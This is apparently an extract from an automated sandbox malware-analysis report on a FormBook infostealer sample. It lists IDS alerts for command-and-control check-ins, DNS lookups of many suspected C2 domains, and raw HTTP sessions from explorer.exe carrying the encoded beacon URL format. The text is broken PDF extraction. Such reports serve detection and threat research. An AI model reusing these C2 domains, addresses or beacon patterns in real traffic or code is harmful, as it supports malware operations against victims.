.rsrc 0x2d000 0x9e0 0xa00 False 0.45625 data 4.50948350161 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

10/27/21-
16:20:06.775928

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49755 80 192.168.2.5 51.210.240.92

10/27/21-
16:20:06.775928

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49755 80 192.168.2.5 51.210.240.92

10/27/21-
16:20:06.775928

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49755 80 192.168.2.5 51.210.240.92

10/27/21-
16:20:27.846382

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49790 34.102.136.180 192.168.2.5

10/27/21-
16:20:38.101341

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49791 80 192.168.2.5 74.208.236.134

10/27/21-
16:20:38.101341

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49791 80 192.168.2.5 74.208.236.134

10/27/21-
16:20:38.101341

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49791 80 192.168.2.5 74.208.236.134

10/27/21-
16:20:54.027491

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49798 80 192.168.2.5 35.241.55.103

10/27/21-
16:20:54.027491

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49798 80 192.168.2.5 35.241.55.103

10/27/21-
16:20:54.027491

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49798 80 192.168.2.5 35.241.55.103

10/27/21-
16:21:04.615059

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49800 80 192.168.2.5 52.210.179.84

10/27/21-
16:21:04.615059

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49800 80 192.168.2.5 52.210.179.84

10/27/21-
16:21:04.615059

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49800 80 192.168.2.5 52.210.179.84

10/27/21-
16:21:04.661230

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49800 52.210.179.84 192.168.2.5

Resources

Imports

Possible Origin

TCP Packets

UDP Packets
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 27, 2021 16:20:06.712508917 CEST 192.168.2.5 8.8.8.8 0xf370 Standard query 
(0)

www.salvat
ionshippin
gsecurity.com

A (IP address) IN (0x0001)

Oct 27, 2021 16:20:11.822491884 CEST 192.168.2.5 8.8.8.8 0xc99c Standard query 
(0)

www.mykomb
uchafactory.com

A (IP address) IN (0x0001)

Oct 27, 2021 16:20:17.090502977 CEST 192.168.2.5 8.8.8.8 0xf357 Standard query 
(0)

www.christ
inegagnonj
ewellery.com

A (IP address) IN (0x0001)

Oct 27, 2021 16:20:22.154433012 CEST 192.168.2.5 8.8.8.8 0xbd03 Standard query 
(0)

www.umgale
loacademy.com

A (IP address) IN (0x0001)

Oct 27, 2021 16:20:27.684767962 CEST 192.168.2.5 8.8.8.8 0x94b1 Standard query 
(0)

www.heyuns
hangcheng.info

A (IP address) IN (0x0001)

Oct 27, 2021 16:20:32.859416008 CEST 192.168.2.5 8.8.8.8 0x88d5 Standard query 
(0)

www.sfcn-d
ng.com

A (IP address) IN (0x0001)

Oct 27, 2021 16:20:37.928250074 CEST 192.168.2.5 8.8.8.8 0x6b Standard query 
(0)

www.crisis
interventi
onadvocates.com

A (IP address) IN (0x0001)

Oct 27, 2021 16:20:43.266113997 CEST 192.168.2.5 8.8.8.8 0xca7b Standard query 
(0)

www.srchwi
thus.online

A (IP address) IN (0x0001)

Oct 27, 2021 16:20:48.498081923 CEST 192.168.2.5 8.8.8.8 0xc27e Standard query 
(0)

www.itskosi.com A (IP address) IN (0x0001)

Oct 27, 2021 16:20:53.596335888 CEST 192.168.2.5 8.8.8.8 0xefee Standard query 
(0)

www.sejiw3.xyz A (IP address) IN (0x0001)

Oct 27, 2021 16:20:59.343343973 CEST 192.168.2.5 8.8.8.8 0xd5c3 Standard query 
(0)

www.hanans
alman.com

A (IP address) IN (0x0001)

Oct 27, 2021 16:21:04.495866060 CEST 192.168.2.5 8.8.8.8 0x9355 Standard query 
(0)

www.rbritu
elbeaute.com

A (IP address) IN (0x0001)

Oct 27, 2021 16:21:09.669536114 CEST 192.168.2.5 8.8.8.8 0xdf24 Standard query 
(0)

www.pronog
tiki.store

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 27, 2021 
16:20:06.743684053 
CEST

8.8.8.8 192.168.2.5 0xf370 No error (0) www.salvat
ionshippin
gsecurity.com

salvationshippingsecurity.
com

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 27, 2021 
16:20:06.743684053 
CEST

8.8.8.8 192.168.2.5 0xf370 No error (0) salvations
hippingsec
urity.com

51.210.240.92 A (IP address) IN (0x0001)

Oct 27, 2021 
16:20:11.851373911 
CEST

8.8.8.8 192.168.2.5 0xc99c Name error (3) www.mykomb
uchafactory.com

none none A (IP address) IN (0x0001)

Oct 27, 2021 
16:20:17.121787071 
CEST

8.8.8.8 192.168.2.5 0xf357 Name error (3) www.christ
inegagnonj
ewellery.com

none none A (IP address) IN (0x0001)

Oct 27, 2021 
16:20:22.632325888 
CEST

8.8.8.8 192.168.2.5 0xbd03 Server failure 
(2)

www.umgale
loacademy.com

none none A (IP address) IN (0x0001)

Oct 27, 2021 
16:20:27.706388950 
CEST

8.8.8.8 192.168.2.5 0x94b1 No error (0) www.heyuns
hangcheng.info

heyunshangcheng.info CNAME 
(Canonical 
name)

IN (0x0001)

Oct 27, 2021 
16:20:27.706388950 
CEST

8.8.8.8 192.168.2.5 0x94b1 No error (0) heyunshang
cheng.info

34.102.136.180 A (IP address) IN (0x0001)

Oct 27, 2021 
16:20:32.895567894 
CEST

8.8.8.8 192.168.2.5 0x88d5 Name error (3) www.sfcn-d
ng.com

none none A (IP address) IN (0x0001)

Oct 27, 2021 
16:20:37.960422039 
CEST

8.8.8.8 192.168.2.5 0x6b No error (0) www.crisis
interventi
onadvocate
s.com

74.208.236.134 A (IP address) IN (0x0001)

Oct 27, 2021 
16:20:43.288822889 
CEST

8.8.8.8 192.168.2.5 0xca7b No error (0) www.srchwi
thus.online

srchwithus.online CNAME 
(Canonical 
name)

IN (0x0001)

Oct 27, 2021 
16:20:43.288822889 
CEST

8.8.8.8 192.168.2.5 0xca7b No error (0) srchwithus.online 137.184.31.35 A (IP address) IN (0x0001)

Oct 27, 2021 
16:20:48.522423029 
CEST

8.8.8.8 192.168.2.5 0xc27e No error (0) www.itskosi.com 3.67.234.155 A (IP address) IN (0x0001)

Oct 27, 2021 
16:20:48.522423029 
CEST

8.8.8.8 192.168.2.5 0xc27e No error (0) www.itskosi.com 3.67.153.12 A (IP address) IN (0x0001)

DNS Queries

DNS Answers

Copyright Joe Security LLC 2021 Page 21 of 30



Oct 27, 2021 
16:20:54.006380081 
CEST

8.8.8.8 192.168.2.5 0xefee No error (0) www.sejiw3.xyz 35.241.55.103 A (IP address) IN (0x0001)

Oct 27, 2021 
16:20:59.366530895 
CEST

8.8.8.8 192.168.2.5 0xd5c3 No error (0) www.hanans
alman.com

hanansalman.com CNAME 
(Canonical 
name)

IN (0x0001)

Oct 27, 2021 
16:20:59.366530895 
CEST

8.8.8.8 192.168.2.5 0xd5c3 No error (0) hanansalma
n.com

160.153.136.3 A (IP address) IN (0x0001)

Oct 27, 2021 
16:21:04.568428993 
CEST

8.8.8.8 192.168.2.5 0x9355 No error (0) www.rbritu
elbeaute.com

web.jimdosite.com CNAME 
(Canonical 
name)

IN (0x0001)

Oct 27, 2021 
16:21:04.568428993 
CEST

8.8.8.8 192.168.2.5 0x9355 No error (0) web.jimdos
ite.com

dolphin-renderserve-
prod.jimdo-platform.net

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 27, 2021 
16:21:04.568428993 
CEST

8.8.8.8 192.168.2.5 0x9355 No error (0) dolphin-re
nderserve-
prod.jimdo-
platform.net

dolphin-render-ce5083-
1529577379-
1289163597.eu-west-
1.elb.amazonaws.com

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 27, 2021 
16:21:04.568428993 
CEST

8.8.8.8 192.168.2.5 0x9355 No error (0) dolphin-render-
ce5083-
1529577379-
1289163597.eu-
west-1.elb.am
azonaws.com

52.210.179.84 A (IP address) IN (0x0001)

Oct 27, 2021 
16:21:04.568428993 
CEST

8.8.8.8 192.168.2.5 0x9355 No error (0) dolphin-render-
ce5083-
1529577379-
1289163597.eu-
west-1.elb.am
azonaws.com

52.214.190.156 A (IP address) IN (0x0001)

Oct 27, 2021 
16:21:04.568428993 
CEST

8.8.8.8 192.168.2.5 0x9355 No error (0) dolphin-render-
ce5083-
1529577379-
1289163597.eu-
west-1.elb.am
azonaws.com

52.209.227.237 A (IP address) IN (0x0001)

Oct 27, 2021 
16:21:04.568428993 
CEST

8.8.8.8 192.168.2.5 0x9355 No error (0) dolphin-render-
ce5083-
1529577379-
1289163597.eu-
west-1.elb.am
azonaws.com

52.212.67.61 A (IP address) IN (0x0001)

Oct 27, 2021 
16:21:09.724406958 
CEST

8.8.8.8 192.168.2.5 0xdf24 No error (0) www.pronog
tiki.store

5.101.153.216 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
www.salvationshippingsecurity.com

            
www.heyunshangcheng.info

            
www.crisisinterventionadvocates.com

            
www.srchwithus.online

            
www.itskosi.com

            
www.sejiw3.xyz

            
www.hanansalman.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.5 49755 51.210.240.92 80 C:\Windows\explorer.exe

HTTP Request Dependency Graph

HTTP Packets
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Timestamp
kBytes
transferred Direction Data

Oct 27, 2021 
16:20:06.775928020 CEST

1395 OUT GET /u9xn/?EvGDLnJ=eYxsMd5wljUn1Fg6115NyaMNAPOWoN8Xbg1oh/XArMcWaLbikdCkMKkIXUVVkDc1SuQ5&5j
=0BKPgh7X4n HTTP/1.1
Host: www.salvationshippingsecurity.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 27, 2021 
16:20:06.802059889 CEST

1396 IN HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Wed, 27 Oct 2021 14:20:06 GMT
Content-Type: text/html
Content-Length: 162
Connection: close
Location: https://www.salvationshippingsecurity.com/u9xn/?EvGDLnJ=eYxsMd5wljUn1Fg6115NyaMNAPOWoN8Xbg
1oh/XArMcWaLbikdCkMKkIXUVVkDc1SuQ5&5j=0BKPgh7X4n
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 
6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 
3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 
74 6d 6c 3e 0d 0a 
Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1
></center><hr><center>nginx</center></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.5 49790 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 27, 2021 
16:20:27.729743958 CEST

9249 OUT GET /u9xn/?EvGDLnJ=RrR08BH4oIo+gx361vOF46QRRg434M3aJQMobyGncW6ZpM1n/iVBy8ajhiKV3UdnqaZn&5j
=0BKPgh7X4n HTTP/1.1
Host: www.heyunshangcheng.info
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 27, 2021 
16:20:27.846381903 CEST

9250 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Wed, 27 Oct 2021 14:20:27 GMT
Content-Type: text/html
Content-Length: 275
ETag: "61704c6b-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.5 49791 74.208.236.134 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 27, 2021 
16:20:38.101341009 CEST

9251 OUT GET /u9xn/?EvGDLnJ=LAjf/xx2BjlKOSx2Nw0FybGnOLdFfrA16q3xOuIsu5dbrvvju1demR4HH9h71lmoA2bo&5j
=0BKPgh7X4n HTTP/1.1
Host: www.crisisinterventionadvocates.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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Oct 27, 2021 
16:20:38.245042086 CEST

9252 IN HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 626
Connection: close
Date: Wed, 27 Oct 2021 14:20:38 GMT
Server: Apache
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 
54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 
2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 
74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 
73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 
3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 
2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 
73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 
20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 
61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 
6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 
61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 2
0 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3
a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 
20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 7
9 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 
Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xht
ml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head>  <title>   Error 404 - 
Not found  </title>  <meta content="text/html; charset=utf-8" http-equiv="Content-Type">  <meta content="no-cache" http-
equiv="cache-control"> </head> <body style="font-family:arial;">  <h1 style="color:#0a328c;font-size:1.0em;">   Error 404 - 
Not found  </h1>  <p style="font-size:0.8em;">   Your browser can't find the document corresponding to the URL you typed 
in.  </p> </body></html>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.5 49792 137.184.31.35 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 27, 2021 
16:20:43.386756897 CEST

9253 OUT GET /u9xn/?EvGDLnJ=Js+sgmRaIVUq7qFzsJAJ+9AXXLZC0X79cc7qqoZBkLaFxYs1smoq8VOLmQUttipLhfLz&5j
=0BKPgh7X4n HTTP/1.1
Host: www.srchwithus.online
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 27, 2021 
16:20:43.479991913 CEST

9254 IN HTTP/1.1 301 Moved Permanently
Date: Wed, 27 Oct 2021 14:20:43 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1g
Location: https://www.srchwithus.online/u9xn/?EvGDLnJ=Js+sgmRaIVUq7qFzsJAJ+9AXXLZC0X79cc7qqoZBkLaFxY
s1smoq8VOLmQUttipLhfLz&5j=0BKPgh7X4n
Content-Length: 338
Connection: close
Content-Type: text/html; charset=iso-8859-1
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 
76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 
31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 
20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 73 72 63 68 77 69 74 68 
75 73 2e 6f 6e 6c 69 6e 65 2f 75 39 78 6e 2f 3f 45 76 47 44 4c 6e 4a 3d 4a 73 2b 73 67 6d 52 61 49 56 55 71 37 71 46 7a 
73 4a 41 4a 2b 39 41 58 58 4c 5a 43 30 58 37 39 63 63 37 71 71 6f 5a 42 6b 4c 61 46 78 59 73 31 73 6d 6f 71 38 56 4f 4c 
6d 51 55 74 74 69 70 4c 68 66 4c 7a 26 61 6d 70 3b 35 6a 3d 30 42 4b 50 67 68 37 58 34 6e 22 3e 68 65 72 65 3c 2f 61 
3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 
Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanent
ly</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.srchwithus.onl
ine/u9xn/?EvGDLnJ=Js+sgmRaIVUq7qFzsJAJ+9AXXLZC0X79cc7qqoZBkLaFxYs1smoq8VOLmQUttipLhfLz&amp
;5j=0BKPgh7X4n">here</a>.</p></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.5 49794 3.67.234.155 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 27, 2021 
16:20:48.543695927 CEST

9263 OUT GET /u9xn/?EvGDLnJ=Q2BOOCh2YmRGzHBLpF4ZGgsAfzPJKYPCPJSLTy3o+TqCnIZHYQwJa/p1Zgpwk24Ey+uX&5j
=0BKPgh7X4n HTTP/1.1
Host: www.itskosi.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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Oct 27, 2021 
16:20:48.563533068 CEST

9264 IN HTTP/1.1 301 Moved Permanently
cache-control: public, max-age=0, must-revalidate
content-length: 44
content-type: text/plain
date: Tue, 26 Oct 2021 10:09:50 GMT
x-nf-request-id: 01FK11ZZ198CWTS1MT7WAK41C6
location: https://www.itskosi.com/u9xn/?EvGDLnJ=Q2BOOCh2YmRGzHBLpF4ZGgsAfzPJKYPCPJSLTy3o+T
qCnIZHYQwJa/p1Zgpwk24Ey+uX&5j=0BKPgh7X4n
server: Netlify
age: 101459
Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 74 73 6b 6f 73 69 2e 63 6f 
6d 2f 75 39 78 6e 2f 
Data Ascii: Redirecting to https://www.itskosi.com/u9xn/

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.5 49798 35.241.55.103 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 27, 2021 
16:20:54.027491093 CEST

9277 OUT GET /u9xn/?EvGDLnJ=Mi491nAN/W8j69kCQou8To2ktmeGxZt9RYONiJPW2rEgEezOpzjOfOleU2kzp5ym9Hqq&5j
=0BKPgh7X4n HTTP/1.1
Host: www.sejiw3.xyz
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 27, 2021 
16:20:54.332242012 CEST

9278 IN HTTP/1.1 200 OK
Server: nginx/1.14.0
Date: Wed, 27 Oct 2021 14:20:54 GMT
Content-Type: text/html
Content-Length: 5379
Last-Modified: Fri, 30 Apr 2021 06:44:28 GMT
Vary: Accept-Encoding
ETag: "608ba74c-1503"
Cache-Control: no-cache
Accept-Ranges: bytes
Via: 1.1 google
Connection: close
Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 22 3e 3c 68 65 61 64 
3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 
70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 
6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 
3d 30 22 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 
6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 77 70 6b 52 65 70 6f 72 74 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 
67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 
2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6c 75 67 69 6e 73 2f 67 
6c 6f 62 61 6c 65 72 72 6f 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 
70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 
64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6c 75 67 69 6e 73 2f 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6a 73 22 20 63 
72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 
77 2e 77 70 6b 52 65 70 6f 72 74 65 72 26 26 28 77 69 6e 64 6f 77 2e 77 70 6b 3d 6e 65 77 20 77 69 6e 64 6f 77 2e 77 70 
6b 52 65 70 6f 72 74 65 72 28 7b 62 69 64 3a 22 62 65 72 67 2d 64 6f 77 6e 6c 6f 61 64 22 2c 72 65 6c 3a 22 32 2e 32 35 
2e 31 22 2c 73 61 6d 70 6c 65 52 61 74 65 3a 31 2c 70 6c 75 67 69 6e 73 3a 5b 5b 77 69 6e 64 6f 77 2e 77 70 6b 67 6c 6f 
62 61 6c 65 72 72 6f 72 50 6c 75 67 69 6e 2c 7b 6a 73 45 72 72 3a 21 30 2c 6a 73 45 72 72 53 61 6d 70 6c 65 52 61 74 65 
3a 31 2c 72 65 73 45 72 72 3a 21 30 2c 72 65 73 45 72 72 53 61 6d 70 6c 65 52 61 74 65 3a 31 7d 5d 2c 5b 77 69 6e 64 
6f 77 2e 77 70 6b 70 65 72 66 6f 72 6d 61 6e 63 65 50 6c 75 67 69 6e 2c 7b 65 6e 61 62 6c 65 3a 21 30 2c 73 61 6d 70 6c 
65 52 61 74 65 3a 2e 35 7d 5d 5d 7d 29 2c 77 69 6e 64 6f 77 2e 77 70 6b 2e 69 6e 73 74 61 6c 6c 28 29 29 3c 2f 73 63 72 
69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 6c 6f 61 64 42 61 69 64 75 48 6d 74 28 74 29 7b 63 6f 6e 
73 6f 6c 65 2e 6c 6f 67 28 22 e7 99 be e5 ba a6 e7 bb 9f e8 ae a1 22 2c 74 29 3b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 
74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 65 2e 73 72 63 3d 22 68 74 74 70 73 3a 
2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 22 2b 74 3b 76 61 72 20 6f 3d 64 6f 63 75 6d 65 6e 74 2e 6
7 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 6f 2e 70 61 72 65 
6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 6f 29 7d 66 75 6e 63 74 69 6f 6e 20 62 61 69 64 75 50 
75 73 68 28 74 2c 65 2c 6f 29 7b 77 69 6e 64 6f 77 2e 5f 68 6d 74 2e 70 75 73 68 28 5b 22 5f 74 72 61 63 6b 45 76 65 6e 
74 22 2c 74 2c 
Data Ascii: <!doctype html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=de
vice-width,initial-scale=1,maximum-scale=1,user-scalable=0"><script src="https://g.alicdn.com/woodpeckerx/jssd
k/wpkReporter.js" crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js" 
crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js" crossorigin="t
rue"></script><script>window.wpkReporter&&(window.wpk=new window.wpkReporter({bid:"berg-download",rel:"2.25.1"
,sampleRate:1,plugins:[[window.wpkglobalerrorPlugin,{jsErr:!0,jsErrSampleRate:1,resErr:!0,resErrSampleRate:1}],
[window.wpkperformancePlugin,{enable:!0,sampleRate:.5}]]}),window.wpk.install())</script><script>function loadBaiduHmt(
t){console.log("",t);var e=document.createElement("script");e.src="https://hm.baidu.com/hm.js?"+t;var o=document.getElem
